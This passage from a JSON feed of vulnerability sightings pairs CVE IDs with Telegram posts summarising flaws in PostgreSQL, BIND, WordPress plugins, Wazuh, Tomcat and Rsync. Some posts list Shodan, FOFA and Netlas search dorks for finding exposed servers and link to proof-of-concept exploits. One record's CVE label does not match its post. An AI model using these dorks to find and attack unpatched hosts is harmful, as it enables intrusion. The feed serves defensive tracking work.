PostgreSQL\"\n\n\ud83d\udcf0Refer:https://thecyberthrone.in/2025/02/15/cve-2025-1094-impacts-postgresql-with-sql-injection/", "creation_timestamp": "2026-07-11T14:00:03.634299Z"}, {"uuid": "5bcfb033-8598-444b-8747-c883c720ff6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "https://t.me/brutsecurity/1264", "content": "\ud83d\udd25CVE-2024-12828 POC. SafeUser Required", "creation_timestamp": "2026-07-11T15:00:04.576037Z"}, {"uuid": "e23a442a-94ee-452b-848f-e47cb0b67571", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12365", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/1306", "content": "CVE-2024-12365: Missing Authorization in W3 Total Cache WordPress Plugin, 8.5 rating\u2757\ufe0f\n\nThe vulnerability allows an authenticated attacker to access sensitive data and make unauthorized web requests to collect information from internal services.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/BpOAJ\n\ud83d\udc49 Dork: http.body:\"plugins/w3-total-cache\"\n\nRead more: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/w3-total-cache/w3-total-cache-281-authenticated-subscriber-missing-authorization-to-server-side-request-forgery", "creation_timestamp": "2026-07-11T15:00:04.860452Z"}, {"uuid": "89d2bef3-0542-49ae-99ee-565f8ea4e0e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://t.me/brutsecurity/1452", "content": "CVE-2024-11187, -12705: Vulnerabilities in BIND DNS Software, 7.5 rating\u2757\ufe0f\n\nTwo vulnerabilities in BIND allow DoS against DNS servers, which can be a preparatory step before the main attacks.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/bGSFv\n\ud83d\udc49 Dork: dns.banner:\"BIND\" OR dns_tcp.banner:\"BIND\"\n\nRead more: https://kb.isc.org/docs/cve-2024-12705", "creation_timestamp": "2026-07-11T15:00:05.489285Z"}, {"uuid": "ccbd2338-709f-48f6-b808-9eb2c4bb8dc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "https://t.me/brutsecurity/1264", "content": "\ud83d\udd25CVE-2024-12828 POC. SafeUser Required", "creation_timestamp": "2026-07-12T00:00:46.672039Z"}, {"uuid": "8098a7b5-6e2a-4239-b65b-91c8cd1198f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/1538", "content": "\ud83d\udea8 CVE-2025-1094: PostgreSQL psql SQL injection\n\ud83d\udd25PoC:https://github.com/rapid7/metasploit-framework/pull/19877\n\ud83e\uddd0Deep Dive :https://attackerkb.com/topics/G5s8ZWAbYH/cve-2024-12356/rapid7-analysis\n\n\ud83d\udc47Dorks:\nHUNTER : protocol=\"postgresql\"\nFOFA : product=\"PostgreSQL\"\nSHODAN : \"port:5432 PostgreSQL\"\n\n\ud83d\udcf0Refer:https://thecyberthrone.in/2025/02/15/cve-2025-1094-impacts-postgresql-with-sql-injection/", "creation_timestamp": "2026-07-12T00:00:47.446642Z"}, {"uuid": "8c004887-e448-46f6-8bdd-f1888f0f3c27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12365", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/1306", "content": "CVE-2024-12365: Missing Authorization in W3 Total Cache WordPress Plugin, 8.5 rating\u2757\ufe0f\n\nThe vulnerability allows an authenticated attacker to access sensitive data and make unauthorized web requests to collect information from internal services.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/BpOAJ\n\ud83d\udc49 Dork: http.body:\"plugins/w3-total-cache\"\n\nRead more: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/w3-total-cache/w3-total-cache-281-authenticated-subscriber-missing-authorization-to-server-side-request-forgery", "creation_timestamp": "2026-07-12T00:00:46.958525Z"}, {"uuid": "e37be3e0-dd3e-41dc-996e-a4eea5d370f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://t.me/brutsecurity/1452", "content": "CVE-2024-11187, -12705: Vulnerabilities in BIND DNS Software, 7.5 rating\u2757\ufe0f\n\nTwo vulnerabilities in BIND allow DoS against DNS servers, which can be a preparatory step before the main attacks.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/bGSFv\n\ud83d\udc49 Dork: dns.banner:\"BIND\" OR dns_tcp.banner:\"BIND\"\n\nRead more: https://kb.isc.org/docs/cve-2024-12705", "creation_timestamp": "2026-07-12T00:00:47.248543Z"}, {"uuid": "d55ec7f8-58bb-4c2c-a48b-44faa7dea699", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-06)", "content": "", "creation_timestamp": "2026-08-07T10:02:13.212905Z"}, {"uuid": "710c8fe6-b916-496e-ae09-4b81ba413aa6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://t.me/purp_sec/386", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2025-25599 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u043e\u043c Bolt CMS, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0430\u0432\u0430\u0442\u0430\u0440\u043e\u0432 \u043f\u043e URL. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\ud83d\udd35CVE-2025-24016 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Wazuh, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0430\u044f\u0441\u044f \u0432 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 eval \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 DAPI. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a API \u0438\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0432\u0448\u0438\u0439 \u0430\u0433\u0435\u043d\u0442 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 JSON-\u043f\u0430\u043a\u0435\u0442, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u041f\u0440\u0438 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 as_wazuh_object \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e Python-\u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Wazuh.\n\n\ud83d\udd35CVE-2025-24813 \u2014 PoC \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Apache Tomcat, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0435\u0439\u0441\u044f \u0432 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 payload \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\ud83d\udd35CVE-2024-12084, CVE-2024-12086, CVE-2024-12087 \u0438 CVE-2024-12088 \u2014 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 Rsync \u0432\u0435\u0440\u0441\u0438\u0438 3.2.7, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432 Debian 12. \u0412\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438, \u0443\u0442\u0435\u0447\u043a\u0443 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043e\u0431\u0445\u043e\u0434 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a \u0438 \u043e\u0431\u0445\u043e\u0434 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-16T00:00:51.171428Z"}, {"uuid": "b4e6f170-e75e-4344-a621-21a533b60709", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/purp_sec/386", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2025-25599 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u043e\u043c Bolt CMS, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0430\u0432\u0430\u0442\u0430\u0440\u043e\u0432 \u043f\u043e URL. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\ud83d\udd35CVE-2025-24016 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Wazuh, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0430\u044f\u0441\u044f \u0432 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 eval \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 DAPI. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a API \u0438\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0432\u0448\u0438\u0439 \u0430\u0433\u0435\u043d\u0442 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 JSON-\u043f\u0430\u043a\u0435\u0442, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u041f\u0440\u0438 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 as_wazuh_object \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e Python-\u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Wazuh.\n\n\ud83d\udd35CVE-2025-24813 \u2014 PoC \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Apache Tomcat, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0435\u0439\u0441\u044f \u0432 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 payload \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\ud83d\udd35CVE-2024-12084, CVE-2024-12086, CVE-2024-12087 \u0438 CVE-2024-12088 \u2014 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 Rsync \u0432\u0435\u0440\u0441\u0438\u0438 3.2.7, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432 Debian 12. \u0412\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438, \u0443\u0442\u0435\u0447\u043a\u0443 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043e\u0431\u0445\u043e\u0434 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a \u0438 \u043e\u0431\u0445\u043e\u0434 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-16T00:00:51.045450Z"}, {"uuid": "a13bb2b1-b977-4cce-b3fc-fe14940540fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://t.me/purp_sec/386", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2025-25599 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u043e\u043c Bolt CMS, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0430\u0432\u0430\u0442\u0430\u0440\u043e\u0432 \u043f\u043e URL. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\ud83d\udd35CVE-2025-24016 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Wazuh, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0430\u044f\u0441\u044f \u0432 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 eval \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 DAPI. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a API \u0438\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0432\u0448\u0438\u0439 \u0430\u0433\u0435\u043d\u0442 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 JSON-\u043f\u0430\u043a\u0435\u0442, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u041f\u0440\u0438 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 as_wazuh_object \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e Python-\u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Wazuh.\n\n\ud83d\udd35CVE-2025-24813 \u2014 PoC \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Apache Tomcat, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0435\u0439\u0441\u044f \u0432 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 payload \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\ud83d\udd35CVE-2024-12084, CVE-2024-12086, CVE-2024-12087 \u0438 CVE-2024-12088 \u2014 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 Rsync \u0432\u0435\u0440\u0441\u0438\u0438 3.2.7, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432 Debian 12. \u0412\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438, \u0443\u0442\u0435\u0447\u043a\u0443 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043e\u0431\u0445\u043e\u0434 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a \u0438 \u043e\u0431\u0445\u043e\u0434 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-16T00:00:51.210966Z"}, {"uuid": "29d69258-891e-475f-aa30-44ec0b999de5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://t.me/purp_sec/386", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2025-25599 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 